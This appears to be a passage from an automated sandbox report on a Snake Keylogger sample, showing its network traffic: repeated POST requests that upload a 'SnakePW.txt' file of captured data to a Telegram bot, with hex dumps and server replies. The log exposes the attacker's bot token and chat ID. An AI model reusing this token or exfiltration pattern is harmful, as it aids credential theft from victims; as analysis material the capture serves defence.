{"ok":true,"result":{"message_id":66794,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228778,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49824	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:58 UTC	79	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e081c1a8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:58 UTC	79	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 30 38 31 63 31 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e081c1a8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:59 UTC	80	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:59 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:59 UTC	80	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66795,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228779,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49825	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:59 UTC	81	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e0bfbe99 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:59 UTC	81	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 30 62 66 62 65 39 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e0bfbe99Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:59 UTC	81	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:59 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:59 UTC	82	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66796,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228779,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49827	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:59 UTC	82	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e0fb5a83 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:59 UTC	83	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 30 66 62 35 61 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e0fb5a83Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:00 UTC	83	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:59 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:00 UTC	83	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66797,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228779,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49773	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:40 UTC	8	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d57ae485 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:40 UTC	8	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 35 37 61 65 34 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d57ae485Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:40 UTC	9	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:40 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:40 UTC	9	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66751,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228760,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49829	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:00 UTC	84	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e13958ac Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:00 UTC	84	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 31 33 39 35 38 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e13958acContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:00 UTC	85	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:00 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:00 UTC	85	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66799,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228780,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49830	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:00 UTC	86	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e16dcca0 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:00 UTC	86	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 31 36 64 63 63 61 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e16dcca0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:00 UTC	86	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:00 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:00 UTC	87	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66800,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228780,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49833	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:00 UTC	87	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e1abc791 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:00 UTC	88	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 31 61 62 63 37 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e1abc791Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:01 UTC	88	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:01 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:01 UTC	89	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66801,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228781,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	49838	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:01 UTC	89	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e1e9c42e Host: api.telegram.org Content-Length: 504
